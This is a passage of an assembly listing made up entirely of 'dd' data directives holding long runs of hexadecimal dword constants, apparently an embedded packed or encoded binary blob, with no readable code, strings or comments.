9CF4541Ah, 2C4CFE2h, 0FC40177Fh, 5446890Fh dd 0F8628F42h, 0B8040891h, 4EF805EDh, 5901EF7Fh, 6DCDFC0h dd 0CA929E8Ch, 0DE6503D9h, 0B819D22Bh, 83E7180Dh, 0C3C2A468h dd 0B25C5B8Ah, 18B7D77Ah, 0B0EED207h, 20D48CD1h, 976A6B20h dd 982F69Ah, 0DC092AFDh, 0A5CB2639h, 606D4D7Dh, 4ABE3BBBh dd 4EFAF400h, 69E3810Eh, 2A5CFA64h, 0B03A880Dh, 0A274D366h dd 542200D7h, 8BCD429Ch, 0AB5B01FAh, 0FDD4875h, 0C0C43CA3h dd 7FD5EF81h, 0CD6C4B22h, 0F0D6261Eh, 71079FA0h, 55851229h dd 0F539F22Dh, 4B8C7CA0h, 0FCF26Fh, 927C437h, 0E7780D2h dd 0F2F34674h, 0D5B1D160h, 6B381FABh, 9D899270h, 2EC7E1BEh dd 8AA81128h, 22769162h, 0E8BABD44h, 4AB8387Eh, 94C0859Eh dd 0C7B96E2Bh, 0D3E86609h, 0AD3C7B23h, 46417DEDh, 611012E8h dd 7A00B50Ah, 0DD303F76h, 0AEC827h, 92BD1157h, 52972645h dd 0BFD09395h, 43A4C8C0h, 0CA880E84h, 9240072Ch, 6EE40C3Eh dd 0FF2D7698h, 146B7E1h, 0CC1A9C8Ch, 54282F75h, 96FE8A48h dd 0F2230D40h, 9B6C0516h, 8C204832h, 0C2001F5Bh, 0FBFBDCCh dd 3980475h, 0D07FA7B3h, 0EBE1E01Bh, 73292F5Bh, 5655DDBh dd 8B12E7B8h, 8FF2F554h, 0FD93CF8Eh, 0D6E851h, 220E7F65h dd 606C1923h, 0C015ED9Dh, 0FA1ABA90h, 0EBE03424h, 70496B26h dd 88CD95C8h, 642ABAC0h, 419D1229h, 46C8F219h, 3EB2B051h dd 0F29B122Ch, 0F9E4F41Eh, 645C6F9Fh, 80D3EC99h, 0F015D6F7h dd 4B8ACh, 39C21AF2h, 3F6BDCB2h, 9D09DF05h, 63FD1295h dd 2504BF26h, 12DBC46h, 97C47A95h, 1462E01Ah, 46FAAC75h dd 502F40D9h, 9EE1F980h, 9306284Ah, 91B72508h, 0FCE0D400h dd 69CA9805h, 20C654DCh, 9B68DA02h, 0FD44EDA0h, 24349980h dd 0F279A364h, 0BA0BD4B8h, 0DB6122E2h, 4AAD910Ch, 342E6D8Dh dd 3C16F2Dh, 0BD29601Ah, 615F3B55h, 78DA8DADh, 0DB0D48B0h dd 8901BAE9h, 9732E1F8h, 0E7812CB8h, 87124209h, 0B5307A68h dd 0FF4053EFh, 4E0E596h, 4E186BE7h, 9730BC7Ch, 0A5BCDDADh dd 0B3F6B803h, 0F4CB80C5h, 0E6D62FBDh, 6253A03Ch, 8C5126DDh dd 1497606Ch, 0A6004858h, 9C295AA2h, 0E13E01h, 0D2949F77h dd 89FB8B7Dh, 0A7073795h, 5C09BF7Ch, 90B1761Ah, 1B0D6405h dd 8A306109h, 0E918EB81h, 465C9B2Fh, 0EDB79D04h, 93E45F02h dd 40615860h, 9519292Eh, 50772A09h, 72606F78h, 0C7637EEh dd 73429A97h, 1839700Ah, 10E19C48h, 681F1F29h, 116682EDh dd 86F9850Fh, 203EF089h, 794012A8h, 0A138C411h, 0D641BD0Dh dd 11E0FEA6h, 0B4067661h, 0EBBE6AEFh, 951C90F2h, 1370BD7Bh dd 483E0036h, 0BB6699DCh, 0F849C2FAh, 0B70F81EFh, 9B3B61FEh dd 79618916h, 207CEB37h, 76826D4h, 2B4538F7h, 0B72D5028h dd 0DA63AC6Fh, 8309ADF2h, 21A804D4h, 919D0B42h, 1D9749F8h dd 37D57230h, 382A0093h, 9597E303h, 4E0CC812h, 19255D04h dd 6F7ABBh, 0D1DE7FB5h, 504D6739h, 4827AFADh, 0D812952Fh dd 8450F2FEh, 5D5F0418h, 2A47E7F5h, 9130514h, 5315319Dh dd 4237AD32h, 0A34D5501h, 342FFE8Bh, 0B88EBD5Fh, 0BF9E126Ah dd 7B04AFE6h, 98B935A5h, 0A83BA9D6h, 0DA2E4BBEh, 0C017C855h dd 21FB761Eh, 500905BAh, 95B5152h, 535B098Fh, 1D3771B0h dd 423D1660h, 2B597616h, 0BA3EC73h, 77AEA823h, 2A4166D0h dd 162EA819h, 0ECE9A915h, 60B80D57h, 0C017830Fh, 807D61F8h dd 26352FE5h, 4DE2B6F6h, 0C0A77971h, 989D09F9h, 40129733h dd 24DC237Eh, 8D5D6CEh, 56041731h, 21EB890Fh, 2F5BF969h dd 0E000597Bh, 4DAC5723h, 1504C894h, 2F6D9D33h, 0B36E7B29h dd 83C2057Eh, 0E80FFCE2h, 0EAF52568h, 0D33D5F7Ch, 3A125900h dd 60DFE6B6h, 0CF8144A2h, 19255A30h, 6405ED5Dh, 0DC6B601Bh dd 0A59505D2h, 0F6D79705h, 301CB280h, 200BFA6Eh, 427E4A68h dd 0A7B9D1A1h, 22402758h, 5CC49F96h, 0BF274A00h, 47190CC9h dd 0C8504F58h, 0D5009A54h, 606FE1C6h, 0C0F8FEh, 35633784h dd 0FF910797h, 4B9AB20h, 0DEB7505Bh, 80DDBC96h, 0E8754B7Eh dd 78251818h, 2751821Fh, 97F91697h, 0E8608324h, 0CEE48F9Bh dd 0CDD220C4h, 4AE7CF1Bh, 0EB5152E8h, 0E44F8F0h, 4DDE831Eh dd 38202A80h, 0F1020179h, 5A59514Eh, 53AA5E61h, 0F81BADF5h dd 0F7DC0E7Eh, 47A5C701h, 58A227h, 0F9DE9706h, 7F913D68h dd 96403F5h, 50083381h, 97FE608Ah, 99C96164h, 0FA42DC6Ah dd 99D90ACh, 8A8C71F5h, 43B38C0Fh, 9DEA2950h, 5F4958D8h dd 8C16B84Dh, 0B84CC112h, 814EAFF3h, 2FFCEE7Fh, 8935AE28h dd 7B844D60h, 9E8B5790h, 0B2B6006Eh, 0E89B9283h, 8A0060CEh dd 0CF4EBED5h, 0E3615422h, 62C4372Fh, 77D3C6F8h, 0C59D89BDh dd 6B877B1Ch, 64142EB5h, 0E2558ADh, 27E9B515h, 0F319FFF2h dd 0F0BD71A3h, 0F7053E9Fh, 0C18B91B7h, 7000246Bh, 0BCC08025h dd 855F9D01h, 0A4B901C4h, 80429AD2h, 805298FDh, 50452CE7h dd 0E9992554h, 56032CFEh, 0CCF9F01Ah, 0A3CD662h, 8CA28DD0h dd 0B2B839B3h, 0B1C2514Ah, 16505EF9h, 0FA317090h, 200FBB50h dd 0F74D3FDAh, 5100996Fh, 29437B26h, 0D29D9585h, 0D7F70359h dd 6A774BAAh, 0F5086D64h, 9D323BCh, 0FE73F81Ch, 53181D59h dd 0C870B303h, 0B874B201h, 188909FEh, 8F1B459Dh, 0F6F0F7F3h dd 0D1FF4F16h, 0F5B87ABDh, 0AC26B800h, 17D19F2h, 0CF4A95B5h dd 6551095Ch, 0C176DE3Ah, 0A54AE936h, 39B0E02Eh, 66A2F40h dd 51BD2902h, 50121031h, 2056F4B3h, 14E52404h, 17BCEAB9h dd 0D3871F8Ch, 0EB319230h, 4AE951E4h, 89A0E355h, 743429BCh dd 0BA00DCE6h, 7606F605h, 179622F3h, 0F051D1E2h, 0B095F57h dd 7301059Dh, 0B9092E8h, 0F071506Bh, 3A4680BEh, 9B5A6402h dd 452701D0h, 786D5479h, 0B5A3E097h, 0FC8A1917h, 8D3080B1h dd 8A324BF1h, 2B817DBAh, 0B2E64E0Fh, 0B11E02A0h, 0C7BDE409h dd 350477AAh, 0B4DAAFF9h, 0E9CE15C8h, 0D9BB0313h, 0A4474802h dd 332DB53Eh, 0F4401B6Fh, 4BF1756Ah, 4696989Ah, 1C36CC8Ah dd 449CCEABh, 0B86E620Ah, 0D9B5089Ch, 0F4074932h, 45D19C5h dd 28EB862Dh, 591C8C8Ah, 81C0D758h, 0DC514DE3h, 92F04B30h dd 4E7D0AA7h, 0C82D00A3h, 968DBE34h, 0FA00475Bh, 739E56DFh dd 92F5274h, 926EA2B2h, 3C9EAF70h, 3B2CE508h, 0DFC9BBCBh dd 262B8431h, 834A1CB9h, 8508C2E6h, 88BB21F9h, 260D1DBDh dd 0DA8A0935h, 8012BF70h, 0B0E0A2EBh, 2BA01BB3h, 0ECFF76C8h dd 0F2ED12Fh, 0FEC53881h, 5258BEF2h, 40013B50h, 7AC45F30h dd 0AC560A1Dh, 4C2B254Fh, 1AFA9DD5h, 87C84600h, 0A3A92866h dd 2410321Ch, 775CDB62h, 0F9B52909h, 0B8CB3CD4h, 4BDD3C2Fh dd 8A287D8Ch, 0DC0D458h, 3A6ABEBFh, 0EAD19775h, 0BF46427h dd 5CC1D0A5h, 9C401DFCh dd 2ADA741h, 0B50D8E52h, 1ADD3363h, 39945500h, 0CEB8103h dd 0FA530B4Fh, 0FE1580A5h, 0A29589F9h, 3D46C07Bh, 80149733h dd 13E28420h, 0E96A81B7h, 0E0BC79h, 0E7971527h, 0E3315638h dd 7F85BD4Bh, 0A97175EAh, 62DFA809h, 1B0DCCFFh, 5002B902h dd 0FB7BFB8h, 0BD31E501h, 0AA481E8Dh, 82605AFCh, 6600200Bh dd 3FC8F081h, 0B7056128h, 0F9C02B3Ah, 946B885h, 5EBC9CEEh dd 17BF7103h, 0C192BA92h, 0DEDA9356h, 0AF5ED489h, 0EDFCDB0h dd 0A99D035Bh, 204AF217h, 6090950Eh, 583CEF81h, 0D465CE14h dd 0E7E0D1A6h, 0E204251Ah, 91C0AFEh, 2B5D89FAh, 0D0DB6D53h dd 673CD480h, 7D09DD96h, 7162AE2Dh, 7405A6Ch, 0CCB70479h dd 9AE89518h, 410B628Fh, 375B0A2Dh, 6FA39F1Eh, 0ABDD3E90h dd 48E7A700h, 56BB54DFh, 482FCE2h, 42089557h, 2B57A101h dd 0BF5A9328h, 2681453Dh, 0B83E7B13h, 2B8CCD2Fh, 129A8254h dd 93B83149h, 0A82DFDD3h, 72A2008Eh, 85B2F8B0h, 0E47C75EFh dd 949503B8h, 0BB324445h, 2552D409h, 44257142h, 9D29423Bh dd 56BAEAFDh, 17F2510Ch, 60D8BF61h, 80D39B2Ah, 270E6A1Fh dd 3A652563h, 1082CE9Ah, 0F3561E19h, 59388749h, 25D55B09h dd 48419FEDh, 9A30753Bh, 70F00089h, 0BB66E2CFh, 41A6FAE0h dd 19D1BD10h, 18E9914Ah, 46830401h, 0BF1D0209h, 64288F59h dd 0ED6B2E54h, 74E5C125h, 0C0826E7Ch, 0EFD6561Fh, 0CAE293h dd 113FBB90h, 0EC507173h, 0A3FF48F7h, 0C1D19D7Ch, 72311700h dd 422233Dh, 0CCCDDD66h, 0D136C316h, 0A85F0DCCh, 0A53420h dd 680971E0h, 80F6799Eh, 5082B325h, 8A610B79h, 326D7F28h dd 0A4BB1DC0h, 2BF42F9Eh, 65D6E1A9h, 6B0F09F4h, 0EF59D680h dd 8B783EABh, 0FD02123Dh, 0E96E047Eh, 1FDEABC5h, 36571DC0h dd 133F6F6Ah, 0A1C74F12h, 8B903E4h, 0FCD813DFh, 0B531C141h dd 0AC040CC5h, 738A4F10h, 0CDF78101h, 2B5DD730h, 0DFFDF825h dd 870448BCh, 450D1EE6h, 1624AB87h, 5CAFE812h, 2DA4A24h dd 7DC01CC8h, 5A393C0h, 23584CEh, 23EDE045h, 26C59D26h dd 0E6448996h, 58BD7CE3h, 4634B097h, 82E6044Bh, 71A12BE0h dd 2E923C04h, 0C1AD902Ah, 2BBB894Ah, 0F1C05F9Bh, 79E1E874h dd 80796CE7h, 29F3133Eh, 0BD64123Bh, 8F238847h, 6A6F0B00h dd 8063943Eh, 0F5729Eh, 0A1EFF150h, 9003B74Dh, 358DD0C2h dd 341C5D1Bh, 34C85048h, 5881938Bh, 51E23F0Fh, 3C9D8058h dd 3E6C0B1Eh, 0E7C8A603h, 0B0D9C003h, 12F21421h, 20E04731h dd 58A9B70Eh, 0A5DB803Bh, 90C37B8Dh, 6050090Eh, 43C2C461h dd 2F34AD9h, 0A83114F2h, 824F416Ch, 5206010Ch, 0B4A2B50Eh dd 1F5C615Fh, 0C1F302DCh, 6B06959Dh, 7740BFF4h, 2252633h dd 5968A5A6h, 0F8E0B04Ch, 5B09153Bh, 5C51EF80h, 1946F642h dd 0D479C501h, 89AC1CBFh, 592AA1D6h, 364DC61Ah, 7873F39Dh dd 9602DE2Ah, 143EEAB6h, 0D2A5109h, 3B2B3BE9h, 80BA9A22h dd 0B61F20F4h, 0C29500F1h, 4AFBE19Ah, 0E07560Fh, 8B60361Bh dd 0BE9129D5h, 3B2E5B61h, 3EDA42Fh, 0A304DA8h, 0EDB5F409h dd 9D03882Fh, 0BF84A09Fh, 4B64E616h, 690B8A4Fh, 811ABD50h dd 0AA913888h, 7CBE0D8h, 0F981853Dh, 6A8B4512h, 0D7ED152Ch dd 80C8DB61h, 8D29FDA6h, 75265FC5h, 39EE0497h, 9172AE2Bh dd 3590D550h, 0CB126082h, 77B84A74h, 0C1E4DAA4h, 0CE3BAB11h dd 4AA57B30h, 0D677E20Eh, 8D38A06Bh, 0F31C493Fh, 69AB84E4h dd 2852FA50h, 19C99A05h, 6127CBF8h, 8B0D2ED1h, 11350EDFh dd 0AB99D742h, 647CCD92h, 0F4D96118h, 0F8D985CDh, 0C8799A2Bh dd 0D09EC017h, 60BD6E20h, 5F86C676h, 33DD8236h, 0CD646105h dd 2AE0FEFh, 0E245E6B2h, 0BE93301Dh, 0DAA15200h, 941BD4A5h dd 6EBB040Eh, 0B86711A0h, 51E74E46h, 0F888D207h, 0E390E4DAh dd 58502561h, 5B1A4021h, 19340997h, 0B1C4CBD6h, 86D73B0Fh dd 9C3E220Bh, 0FE907170h, 7B2BD5Eh, 0F2205016h, 0EA430086h dd 12FB799h, 31997CFh, 0DF342BF9h, 7F67EBECh, 0F2D5650Bh dd 0E5606282h, 0B004504h, 3EC68FB7h, 58C6B2E9h, 0AA6D5734h dd 1D30B2E7h, 4F15F270h, 8A1A87B4h, 4702C93Dh, 8001308Dh dd 372B3AC3h, 0EEF7926Fh, 69514956h, 0B0C0B72Fh, 13ACA70Ah dd 0BBDF267Dh, 4ACD254h, 7039C266h, 82FC8A44h, 0B5C51A2h dd 0A78D5B64h, 167A6E3Ah, 7AACF91Eh, 4227110h, 29499D0Bh dd 0DA5ECB8Eh, 0B0498013h, 0B6B1BA9h, 0B597030Ch, 9F00FB64h dd 0F9BD0E60h, 95667F4Dh, 0D15B929Ah, 3C7F70h, 653D94E0h dd 0FF110954h, 8FB0604Fh, 0E4578202h, 77781Bh, 154EE36Ch dd 0D839C818h, 0D6AB6602h, 0B5616421h, 80ED237Eh, 3C07BC33h dd 0B91EE1A8h, 0F7A51480h, 0D71211ECh, 0A6FBABD6h, 4BA65E94h dd 0CC4215A0h, 0F5ED3D12h, 0FE92F3B2h, 6E2E10A1h, 121F2FD1h dd 0A7F65494h, 1F42774h, 5AA43191h, 6A21CB5Bh, 8D181F1h dd 0D1FC607Ah, 0B9006A50h, 7EA77C7Bh, 4B835327h, 0AA2E85FDh dd 1D01F081h, 0B12AAC14h, 77698C0Fh, 9A0A74Ah, 5C8AE9FEh dd 0E2402D9Eh, 0BD7B3355h, 48B1840h, 15B509C1h, 0CADFAD1Ah dd 310052E8h, 4A6A4362h, 0F56C02F8h, 2FA464B4h, 5A72B5C2h dd 0F25EAB0h, 0FC0C298Ah, 0E9B25ABAh, 0B74EB155h, 0E1F9A5D7h dd 1D463028h, 0AE2260E8h, 0DBFD0263h, 0CD5634A9h, 0C0D36D27h dd 600BB2CEh, 9722FA0Eh, 45AEB25Ah, 4B75B5B8h, 0F3446182h dd 6CC18000h, 994790ACh, 0A541062Ah, 949BE009h, 50619212h dd 0A0B048E7h, 10B0D1C8h, 7AE9C94Bh, 0C0059B4Eh, 8EDA70B5h dd 0DC421305h, 9AD5BC09h, 0ED506150h, 0D196D5DEh, 0CC606EADh dd 5D62B1Ch, 874C36A1h, 2A3EE1F5h, 81054ECAh, 0FE67D2E3h dd 0D19D8602h, 301A571Ch, 0C80E235h, 0A686D859h, 0DBFB2580h dd 0F02F26C5h, 1B379F44h, 38437880h, 26A82h, 0BF50FB8Bh dd 18862266h, 37DDF6AAh, 93490595h, 9D42819Ah, 0FEF75481h dd 8E0FAA05h, 8F7254C9h, 0D686880Eh, 12B1E62Bh, 5B0B7F52h dd 1ABB415Fh, 2E44E901h, 43F23638h, 3015E260h, 1095D62h dd 7A170DBDh, 0E7DA4A40h, 0ACE34914h, 1EEF0B28h, 0ED98A854h dd 38018FB5h, 90E1502Eh, 70D672B3h, 0DB2BEFE9h, 0B7238345h dd 9136D089h, 0B08272B8h, 9588B091h, 499E6194h, 5F8400DCh dd 0D27F99A2h, 0B54AB3E6h, 79C08184h, 975C92EBh, 0D03F8733h dd 1BEF02F9h, 5C7B0F05h, 465E2D6Ah, 56F600F6h, 32DC4BF7h dd 0D025C713h, 899059B3h, 7472FA8Bh, 7F056ABFh, 0AB0A6A84h dd 0D3F5F028h, 0A9130437h, 46B00B2Ch, 3779B50Ah, 564868C0h dd 427081h, 70E67634h, 0F3BB71E4h, 58035F12h, 0D2C44FE4h dd 6A36B149h, 9D299BF0h, 0C19E24DBh, 5E65A7BEh, 0F7E2694Bh dd 0B7081A56h, 4C592D8Fh, 2BBFADA8h, 213C54CFh, 0F1858C82h dd 9D72291Bh, 2FB2025Ah, 2E1B8D4Ch, 0AD840E4Ah, 0A1922EFh dd 26F1B529h, 64659190h, 40580422h, 524CD454h, 7C5B2518h dd 0E86521h, 0BCA8514Fh, 0CE0445AAh, 2E71BD0Bh, 482A56B5h dd 0A7A436F2h, 121B2108h, 9E47C857h, 41014776h, 5F668698h dd 3543A583h, 80BBC8FEh, 4AEFA3F0h, 0EBA6EEh, 0C69D3834h dd 978A1779h, 0ED760930h, 40CC6F9Dh, 99283625h, 0D840E569h dd 502F25C3h, 2D6804CDh, 98037F60h, 0F0D24E68h, 0E25B97Bh dd 0C83DEB09h, 5A9D31DFh, 615009CDh, 2542B156h, 0A8F30E0Fh dd 0FA3F8026h, 4CDF3467h dd 2B20A901h, 0C0055B74h, 5A96CB81h, 0D2C42DC7h, 0A29102FAh dd 0D9565BE2h, 0F1746FEh, 0ACDEE88Bh, 2727460h, 0B15947E0h dd 0D55661B2h, 4644Bh, 60590414h, 7D683938h, 1D7ABBB8h dd 6B2B5F81h, 24843E3h, 9FD14C28h, 0E9DD56FCh, 0F4417EEDh dd 0CA2066F8h, 80F58801h, 897ED71Ah, 8C1FD5A8h, 5D62C26h dd 73206B6Fh, 0B9BDE956h, 0AE3A08F1h, 5953430h, 78679502h dd 5B38921Ch, 0F9F1A5E6h, 8971F86Ch, 0BA50109Dh, 8601D49h dd 6F2740A7h, 0EAD87DD6h, 0B886C016h, 55FA2362h, 75CD7EBAh dd 13FDE960h, 0E1FF2FB8h, 0C1C0BFEDh, 12065902h, 0BFEEEB27h dd 7DB53260h, 72C28203h, 26511D56h, 8C9F8614h, 6B1C9495h dd 0B7572230h, 1BD98383h, 0EAF2667Bh, 0CC51375Ch, 0B86DF914h dd 9B3F00C7h, 1B200387h, 379F60F9h, 0F649011Dh, 6E963092h dd 5C2F3A82h, 3195614Fh, 6A3F1D02h, 195109A8h, 0CFCB8192h dd 482E09E4h, 37AF6B3Dh, 35C80013h, 1CE2636Eh, 32A8615Bh dd 656E04D3h, 9DF8120Eh, 0B7EB125Eh, 0ACE85966h, 546B00A3h dd 5E23D927h, 0A9DAADFh, 21083639h, 46552729h, 0FFB72D3Fh dd 53AD2E73h, 0F43D50DAh, 55F6095h, 2D0296B9h, 4FC031EDh dd 0BB5EE51h, 686FB986h, 0B620100h, 9EB1757Ch, 5878D307h dd 4799B0E0h, 0D764B55Ch, 0B9E26E01h, 0C0C9CB43h, 0C1FE5F02h dd 589A4F02h, 61B7755Ch, 84F6E317h, 2ABB25Bh, 8D29DC8Ah dd 569E4AB9h, 1B46D692h, 0CCA67A00h, 69C78221h, 54561F32h dd 122378E5h, 52AEE95Fh, 0C2B39B4Ch, 5C5BCA41h, 81576590h dd 0F2F440E6h, 31A3885Ch, 2DA4D278h, 87567C4Dh, 0C2543F0Bh dd 25A15692h, 0C044EDF5h, 45B474BDh, 0E9C8E802h, 8F8692A4h dd 712FE98Dh, 28035C9Fh, 0CC32D78Bh, 0FD94978Dh, 0A58F52ABh dd 0BAD0549Ch, 0AB04497Ah, 83D87023h, 12FC81FBh, 7296B9B0h dd 0DC6C9E50h, 0D7450D01h, 9649183Ch, 0EDACC83Eh, 68713500h dd 58CD9165h, 0B3F909EBh, 0C9711E36h, 7CB5C2AFh, 76E0E2C4h dd 0F9125B51h, 0B34E4000h, 0C68E1Dh, 9D1B4B94h, 3CC4C368h dd 0DEB36D5Ah, 0FD8A5304h, 0F0BD975Bh, 316D23C7h, 9758516h dd 9DA0BFACh, 90812AA1h, 0E530BF3Ah, 0B46050F8h, 0E6611FD4h dd 9EEA279Dh, 46D66C5Eh, 0C2BD001Bh, 37770932h, 0B12FEBFCh dd 598BA848h, 4E8BFB4Bh, 1C252662h, 31712D5Ch, 5557C114h dd 41E90120h, 0C94B9E2Eh, 39AD80D3h, 4A9D31F1h, 0B64012DDh dd 1823BE11h, 73A36601h, 0FD688AEBh, 81020420h, 0B4FD0EF3h dd 2521561Dh, 0B110F65h, 53DDFA74h, 0F8CDD329h, 19A66A91h dd 43209BE0h, 7924CE90h, 4F27A692h, 7243C08Bh, 2112AB47h dd 0B3FB9C27h, 0D6F302D6h, 5C253789h, 98B6812h, 7E5407B9h dd 950258EBh, 50F9EA18h, 770DBB04h, 10A8579Ah, 0E058B64Bh dd 1A2B9936h, 1917820Fh, 79BE9075h, 0C931009Ch, 0EF5C48BEh dd 6C00FA22h, 0D826DCFFh, 56E619CDh, 0FB5195F8h, 0DD2A04C9h dd 0A9B5F30Bh, 2BA65AD1h, 60301BB2h, 0E6CA00BAh, 88467B3Bh dd 5D2DB509h, 0DB686816h, 0DDCB4A2Dh, 2B6A2ED4h, 7264DA00h dd 4F965932h, 5B17FA2Dh, 2526243Ah, 0BCCB449Ah, 62F91825h dd 3C66D5C4h, 82B10995h, 5568BAC9h, 70EDAC3Ah, 8950C640h dd 29DE268Bh, 0BC522F4Bh, 374B9994h, 0FFCA83D6h, 0E688BDEAh dd 0F92582D4h, 0E72D4D6Ah, 0FE114032h, 90B7483Fh, 0FACF4062h dd 367E00D4h, 0D33D62F3h, 240BC526h, 5C2A2CBFh, 0DD8ED699h dd 0F130E300h, 217CDDCFh, 0C5925112h, 0CA3E20F5h, 0ED03E066h dd 4D9676EEh, 0A85B5A52h, 2F7141D9h, 0EFD6EAB2h, 60F03D22h dd 0B7BCAEFDh, 0E6A0DE58h, 0F41B5C78h, 8AAA962Fh, 0EDD05618h dd 2E0AE534h, 0A3A95934h, 600D1B8h, 98287F6Fh, 4B3EF097h dd 227B8A42h, 98779D34h, 0CB619D6Fh, 0A0A5967Dh, 5A35A250h dd 309642ECh, 2F158F58h, 6B9FF00h, 2AC54487h, 750C18E5h dd 0EF81445Fh, 76563329h, 16E7F912h, 0A0E1A64Ah, 55E555Dh dd 0D5438399h, 0BC302575h, 1DF910F5h, 4D5D6127h, 964C498Ch dd 65017725h, 0FD8C10CCh, 7EF610Ch, 4B9916B9h, 0FAB3356Eh dd 0ADE5CA20h, 4EB00118h, 0F586F9A4h, 0DD742B96h, 0B309623Fh dd 2153C69Ch, 2EBBDBD0h, 25F1494Fh, 2C0703C4h, 3BD6B5BEh dd 82AC09C9h, 550ED506h, 0FC94169Eh, 7D52004Bh, 5FD050Bh dd 99D0117h, 87BED1Ch, 322AE1B5h, 0E15DF46Ch, 0C1C9DAE9h dd 0EC6E6Fh, 97C83685h, 6A6EF20h, 0B98D096Fh, 80EF652Fh dd 36A0262Dh, 13688AFDh, 4E5DCD4h, 0B91CF1C0h, 50F5C425h dd 86206B9h, 94765B56h, 0C94AFB90h, 36E03F07h, 654D9F6Ah dd 0B13ED1E1h, 0B4FA4FCh, 0A333E218h, 9D73D7Fh, 3AF414D2h dd 311DBDC1h, 6FFC7140h, 4C80FE22h, 0C0171EF3h, 0E251B605h dd 2A317819h, 0AD85877Dh, 2DB7E25Eh, 2E7D4F61h, 7C662822h dd 0BB380060h, 18492337h, 0A0C727F9h, 0E1988C9h, 787F3FCBh dd 2D696EB8h, 912D3797h, 9698514h, 0D51C98C2h, 1A9E7396h dd 0BE700D4h, 9E363387h, 6A12C853h, 3309D1FFh, 8C4FBh dd 129F05DDh, 10921630h, 0C2979A0Fh, 0DFA06014h, 4B762B7Ch dd 25358A0Eh, 5BB24654h, 556E02h, 0BA805F72h, 97505B6Ah dd 0A28E323Dh, 32B22BF7h, 4D024EDh, 0B8F1E904h, 70E4E714h dd 0D3C29A25h, 0A64A59ECh, 6CEFE0DEh, 165825A2h, 8AB62CC6h dd 3345E04Eh, 7FF958Ch, 0FD90E28Fh, 3F2D1074h, 6EE36050h dd 200023A7h, 0D2E721EBh, 0A915A47Eh, 0F615Ah, 346046Bh dd 4A90C391h, 88B274h, 4F44C128h, 8620B8h, 5FDD983Eh, 13626145h dd 52A83702h, 0DC5E5A7Bh, 6BB7AF61h, 2191F101h, 0FA3ACF8Dh dd 9D89C230h, 10940ADh, 17408572h, 56129761h, 90D05ADBh dd 7CFB0003h, 0F953B127h, 6C9B800Fh, 0E0AC0492h, 0B960CCA4h dd 0AAA1021Eh, 0D4E81104h, 0F6D35DB9h, 5966A0AEh, 97C990A2h dd 91094F37h, 74F101h, 0D749EBC8h, 44003050h, 68720A0Ch dd 20F9856Ch, 314BFC45h, 398D0F45h, 0BD099B90h, 8A084B85h dd 1121086h, 5858904h, 0E1FC2302h, 8964E5BDh, 0A2705AE6h dd 248705B5h, 83C09BF1h, 0BC79DABh, 71E4534Ah, 7F9F802h dd 52D7667Dh, 1022B3E1h, 0ED688900h, 0C5FFABF5h, 98C200B3h dd 0C366151h, 90956B1Ch, 4933DE8h, 0D394EE0Eh, 48A7B82Fh dd 0CBA5399Eh, 0FDB3A798h, 412B0771h, 0B0CF81A3h, 0A5132EEFh dd 0A5B0C212h, 0F09F848Eh, 8B1A407Dh, 0F781D100h, 759A7F64h dd 2C0250E9h, 20B7B8A6h, 58C122A1h, 598DDAB5h, 0AA53C46Bh dd 4307A122h, 8E1CEA32h, 93EC1609h, 5A10D280h, 28002D7Fh dd 1B2304B6h, 509009F5h, 404DBFDAh, 0F9165B12h, 30AAD03Bh dd 798D318Ch, 389146B4h, 0B7FE8B04h, 0AED8EE68h, 88FF4BBFh dd 0E18B22B7h, 0A5F1D8B7h, 0D2FE1543h, 1E24F988h, 82E068BFh dd 12FDD475h, 10A3E6BDh, 854BF851h, 0BB6A0054h, 645D79FFh dd 0C9853109h, 13AF50Eh, 0D9F2FA8Bh, 8D5B913h, 77E10522h dd 0FC5C6164h, 0A8561D0Eh, 7074FB67h, 9176054h, 0C7B4059Dh dd 0F3615FFEh, 6D247EE3h, 71AD1D13h, 1814F999h, 0BB56004Ah dd 27FCB450h, 0A509BF5Fh, 7172E4B3h, 0F960E2A5h, 53008246h dd 17810597h, 123962h, 0DDAD28DAh, 0DC605D02h, 2D876150h dd 6CC2D15Fh, 73B2552Eh, 0A1E0446Dh, 14E7D8F0h, 8C810F13h dd 0BB6C85D3h, 9D89FD9Eh, 25BBAC71h, 6680C5F8h, 0E528E453h dd 6A38A085h dd 0C533A56Eh, 79E22742h, 809FB77Dh, 0C76BE4B7h, 0C5483638h dd 9529C507h, 0A94552EFh, 0DEE59D30h, 0B99D4138h, 36CD2A26h dd 67A83629h, 76D10501h, 88AA21A4h, 0BB69C06Eh, 0E259B09h dd 81CC564h, 8B890504h, 4E1B71D8h, 7F6F054Bh, 595C5260h dd 0BD762508h, 0AA121CC5h, 2EBB5BE4h, 43F4577h, 0AC4F8FBFh dd 3C9B4BDBh, 82626084h, 0EEAC71C1h, 2EE1196Ah, 384E398h dd 83DD7464h, 0CC9854E7h, 0F907096Ch, 3AC74DB1h, 0E4C8F61h dd 0E917152Eh, 0A9FAA492h, 0EC170149h, 0DF0029Ch, 0D4C028F7h dd 4FAD1854h, 0B64D40E6h, 0DC5837D7h, 72E25A3Eh, 1F258AD1h dd 7527E3D3h, 4B02FE4Ch, 21B10507h, 62F7562Dh, 0C0796050h dd 78CD3100h, 18C5C77h, 0CE23C96Ch, 3F997B04h, 75684220h dd 0D1A017F7h, 4F2248Bh, 811CFEF5h, 4429D978h, 754CC778h dd 0E2AFFC23h, 0A3B37553h, 7DF03BC7h, 0EA3EB72Fh, 32D9BBh dd 8AFFAA1Eh, 0EC007C92h, 0F23BEF6Bh, 0F6B59AFEh, 95FC1CD0h dd 4B5F248Bh, 0C2585B90h, 2A857F00h, 7A10B225h, 789A0383h dd 0F5DA116Ah, 0FAC40D0h, 848A894Ah, 68AA8101h, 0C2A0C0F4h dd 5DC806E3h, 6700FFFDh, 8D658C23h, 0B3585B4Bh, 89BB7805h dd 509BD17h, 8DDF4A90h, 0F7B5BFD6h, 921A91h, 7914C60Fh dd 10B5E865h, 129F709Bh, 0E3B5D6D7h, 0ADBC4F56h, 0B94B0238h dd 3FEBCA1h, 0EC9E1995h, 849A472Dh, 995861F7h, 5EC8CA2Ah dd 3339416Eh, 12B17A26h, 0B1795275h, 507B3F56h, 9B12D17h dd 83D716C6h, 0BE0FF3D8h, 4C05BD23h, 0AC69D49Dh, 49BFD261h dd 0B555EA02h, 801B910Bh, 5797490h, 0BCCC0533h, 0FA0689EEh dd 99DEE09Ch, 0B16D4B26h, 2B65FA40h, 0C8420879h, 0D2800FE8h dd 2C8061B3h, 88A30075h, 9F15BF23h, 0D7263162h, 0C5600F50h dd 0D07E66h, 56FECC0h, 43D4AD69h, 0CB5F7438h, 29096385h dd 